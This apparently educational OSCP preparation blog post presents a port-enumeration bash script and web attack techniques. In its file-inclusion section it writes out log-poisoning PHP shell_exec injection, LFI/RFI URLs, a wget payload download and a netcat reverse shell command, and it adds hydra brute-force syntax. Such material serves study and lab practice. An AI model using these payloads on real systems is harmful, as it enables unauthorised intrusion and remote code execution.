Enumeration is the KEY to any successful pentest. Just like any other type of investigator, one needs to see all angles--all evidence--to know precisely how to proceed.

Two of the greatest tools a pentester can have for this task are the ever popular nmap, and perhaps the greatest tool ever invented--the search engine. Self reliance is life, and lack there of is death. I will write about this mode of thought more in the future, but I must first show the amount of utility these two tools have. You should always start with them!

Below is a very simple, albeit useful, bash script that I created to speed up the first process I almost always tend to start with it. Many of you may notice it's terribly coded, but it doesn't really matter. The automation is what is important to me. One will find it very useful to automate any and all enumeration, whether it be post or pre exploitation. I have another script that is more thorough, as it uses a variety of tools to scan specific ports after being found. I've decided not to include this script as I like to see the information as it comes, instead of letting the script do all the work as it may skip important ports. For example, in my other script, if the tools locate default HTTP/HTTPS ports, it will auto brute force files and directories that are common on the specific web server, run specific nmap scripts, and run nikto. I'll give examples of these tools further down the line, so you can include them in your own script--if you would like.

#!/bin/bash
ARGV=$1
mkdir host_$ARGV
cd host_$ARGV
#SMBSCANDONE=0
BLUE='\033[0;34m'
GREEN='\033[0;32m'
RED='\033[0;31m'
PURP='\033[0;35m'
echo -e "${PURP}Auto Enumeration Script by Ian Fry"
echo -e "----------------------------------"
echo -e "Only checks default ports for services"
echo -e "Check the advanced scan Text file to see"
echo -e "If a non-default port is in use"

if [[ $1 == "" ]]; then
     USAGE="$0 <ip>"
     echo -e $USAGE
     exit 0
else
     rm unsortedopenports_$ARGV.txt
     rm sortedopenports_$ARGV.txt
     rm advancedscan_$ARGV.txt
     SECONDS=0
   
     echo -e "${BLUE}Beginning nmap Syn Scan Port Discovery"
     sudo nmap -sS -p- -T4 $ARGV -oG - | grep "/open/" | sed 's/ //g' | tr , '\n' | cut -d/ -f1 |cut -d ":" -f3 >> unsortedopenports_$ARGV.txt
     echo -e "${GREEN}nmap Syn Scan Completed"
     DURATION=$SECONDS
     echo "${PURP}Scan time: $(($DURATION / 60)) minutes and $(($DURATION % 60))"


     #SECONDS=0
     #DURATION=$SECONDS
     #echo -e "${BLUE}Beginning nmap UDP Scan Port Discovery"
     #sudo nmap -sU -p- -T4 $ARGV -oG - | grep "/open/" | sed 's/ //g' | tr , '\n' | cut -d/ -f1 |cut -d ":" -f3 >> unsortedopenports_$ARGV.txt
     #echo -e "${GREEN}nmap UDP Scan Completed in ${($DURATION / 60)} minutes and ${($DURATION % 60)}"


     SECONDS=0
   
     echo -e "${BLUE}Beginning UDP unicornscan"
     sudo unicornscan $ARGV | cut -d "[" -f2 |cut -d "]" -f1 |sed 's/ //g' >> unsortedopenports_$ARGV.txt
     echo -e "${GREEN}unicornscan Completed"
     DURATION=$SECONDS
     echo "${PURP}Scan time: $(($DURATION / 60)) minutes and $(($DURATION % 60))"
     #echo -e "Printing unsorted ports for debugging"
     #cat unsortedopenports_$ARGV.txt
     cat unsortedopenports_$ARGV.txt | sort -u -n >> sortedopenports_$ARGV.txt
     echo -e "${RED}Printing sorted ports for debugging"
     cat sortedopenports_$ARGV.txt

   
     commaports=$(cat sortedopenports_$ARGV.txt | sed -n -e 'H;${x;s/\n/,/g;s/^,//;p;}')
     echo -e "${RED}Open Ports:"
     cat $commaports

     SECONDS=0
   
     echo -e "${BLUE}Beginning Advanced Scan"
     sudo nmap -Pn --version-intensity 9 -p$commaports -A -T4 $1 >> advancedscan_$ARGV.txt
     echo -e "${GREEN}Advanced Scan Completed"
     DURATION=$SECONDS
     echo "${PURP}Scan time: $(($DURATION / 60)) minutes and $(($DURATION % 60))"
     echo -e "${RED}Nmap Advanced Scan Results:"
     cat advancedscan_$ARGV.txt
fi

Finding Ports

The script first does a thorough scan of all ports on the target IP address--both a SYN scan and UDP scan. These scans will often find all open/unfiltered ports that a target may have without using any nifty techniques such as an Idle scan.  This method seems to be sufficient for the OSCP, so I haven't included any advanced scanning techniques. It is important to note, however, that there are machines which recognize a scan attempt based on the speed and amount of probes sent. You may need to make some alterations to get an accurate scan.. (-T#)

sudo nmap -sS -p- -T4 $ARGV -oG - | grep "/open/" | sed 's/ //g' | tr , '\n' | cut -d/ -f1 |cut -d ":" -f3 >> unsortedopenports_$ARGV.txt

sudo unicornscan $ARGV | cut -d "[" -f2 |cut -d "]" -f1 |sed 's/ //g' >> unsortedopenports_$ARGV.txt

Notice I use grep-able format on the nmap syn scan in order to feed just the ports to a text file which I reference to later. I perform a unicorn scan instead of  an nmap UDP scan because it seems to be much faster. It's probably not as thorough as the nmap UDP scan, however, I got tired of waiting for it to complete. I also feed it to the unsorted ports file. This gives me a list of all open ports (hopefully) that I may use for the next scan.

I then sort out the unique values in numeric order and comma separate them in order to feed them effectively into the nmap 'advanced' scan. I know my method may not be efficient or pretty, but it gets the job done, and that's all I need. I'm sure plenty of coders will scoff at this script, but it's sufficient.

sudo nmap -Pn --version-intensity 9 -p$commaports -A -T4 $1 >> advancedscan_$ARGV.txt

Above will find possibly the services and OS version using only the ports which the other scans have found--this saves us time. Time is very valuable when taking the OSCP exam...

Enumerating Other Services

Finding Exploits

Web Attacks

If you find a webserver, I would first run nikto. Web servers usually have a large surface of attack, and thus are generally a good place to start with vulnerability detection. It's always good to use dirb, dirbuster, and/or wfuzz to find any 'juicy' files or directories. Also, don't leave out nmap scripts! Nmap scripts are very useful. For instance, if a server is running an outdated Coldfusion web application, you  may **ahem** just get lucky and nmap will find the vulnerable application and exploit it for you! When I was asked by other students for assistance, I pointed them to nmap scripts. They generally used much valuable time in class to find similar vulnerabilities even though nmap found them in a matter of seconds. This is a huge lesson here. Do not rely on any one scanner. It will save you time in the long run and could potentially be a huge waste of time when the answer was smacking you across the face.

Example webapp scans:

nikto -host <IP> -port <PORT> -C all

nmap --script=http-vuln*  -p<port> <IP> 
(Locate specific scripts with locate nmap |grep scripts)

dirb http(s)://<host> /usr/share/dirb/wordlists/big.txt

Try davtest if the server is hosting webdav. davtest scans available locations for the PUT method and scans for possible execution. Webdav has lots of potential for exploitation..
davtest -url  

If you do find a server using webdav, use the tool cadaver to explore and use available methods. One great method to find is the PUT method.

cadaver <url:port>

When you find a vulnerable web application--always browse to it. Much valuable information is obtained this way. Many sites are hand coded and are not created by a third party web application. I found a machine hosting a website which was void of any known web applications, but had a very obvious flaw. I had an idea of what the issue was as soon as I visited the website. It was using frames(!), and different frames had 'included' pages via a simple PHP function--include (imagine that). This function often has disastrous effects if left un-sanitized and enabled within the webserver configuration. This machine was labelled "painful" by many students, though I found this entry point almost immediately. These vulnerabilities are called Local File Includes and Remote File Includes, the latter being more dangerous as it allows you to include your own pages/files which are read/executed within the webserver.

File Includes

Vulnerabilities: <?php include($_GET[‘page’]);?> <?php include($_POST[‘page’]);?>
RFI Example: http://vulnerablehost/page.php?parameter=<remote host>/payload.php 
LFI Example: http://vulnerablehost/page.php?parameter=/etc/passwd
Above I used the null byte () to terminate any execution after it reads the payload. This bypasses poor sanitation.

A server may be vulnerable to RFIs if within the configuration (accessible by phpinfo()) the allow_url_fopen or allow_url_open configuration is enabled. allow_url_fopen is for older versions of PHP.

LFI's can also be used to execute payloads on the host by contaminating files with your own code! The most common of which are log files. When you try to access a page, a log is created with your user-agent, IP address, method, and access code (403,404,200, etc). You can use netcat connect and customize any of these options, and thus write your own code to the server's log file!

nc <host> <port>

GET /<?php shell_exec($_GET['cmd']); ?> HTTP/1.1

The above injects the shell_exec function into the log file. Then by using the LFI vulnerability one is able 

to traverse to the logfile and execute the command via the given parameter (cmd). Maybe you would want to

just create a remote include (if it's enabled via phpinfo). Makes execution of a reverse shell simple.

http(s)://vulnhost/page.php?parameter=<logfilelocation>&cmd=ls -la

http(s)://vulnhost/page.php?parameter=<logfilelocation>&cmd=wget <payload> /tmp/<payload> 

http(s)://vulnhost/page.php?parameter=<logfilelocation>&cmd=nc <rhost> <port> -e /bin/bash

Apache Access log locations:
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location - /var/log/httpd/access_log
Debian / Ubuntu Linux Apache access log file location - /var/log/apache2/access.log
FreeBSD Apache access log file location - /var/log/httpd-access.log

Some great resources on File Includes here:
hakin9.org 
https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
https://roguecod3r.wordpress.com/2014/03/17/lfi-to-shell-exploiting-apache-access-log/

Directory/Path Traversal

Web App Password cracking

Found a known webapp? Locate default credentials (google)!!!

Many weak credentials were found during my lab tests, and it's always worth a shot as it can be a very effective and quick entry point. A successful password cracker may also use the tool cewl which collects words from a webserver and creates a wordlist. I found a machine that used the name of the web application as the password! This is a password that I guessed almost immediately, but a lot of the time one will need to mutate the list with JTR for a successful attempt.

cewl --depth <#> -w <outfile> <url>

john --wordlist=<cewlfile> --rules --stdout > mutated-cewl.txt

Make an awesome ruleset and automate this sequence! 

Note: default rule file location is /etc/john.conf
Awesome korelogic rules!
JTR examples

Once you have a suitable wordlist, attempt crack it!

hydra <host> <method> <formpath+parameters> -L <user list> -P <password list> -t <# of threads>  -w <wait for time out> -o <output file>

<formpath + parameters>:"/admin/login.php?user=^USER^&password=^PASS^:Incorrect Password"

^USER^ is where your user list is written to, ^PASS^ is where the password is written to, and "Incorrect Password" is an example string that is returned with a failed login (without this you will get all false positives)

You can also use medusa, but I've never used it. Password cracking isn't really necessary on the OSCP, but it can still be useful occasionally. There will be a more comprehensive guide on password cracking (specifically hashes) in later sections.

I decided not to put a SQLi section here as the attack method requires it's own section. The scope is huge and there is much to be said.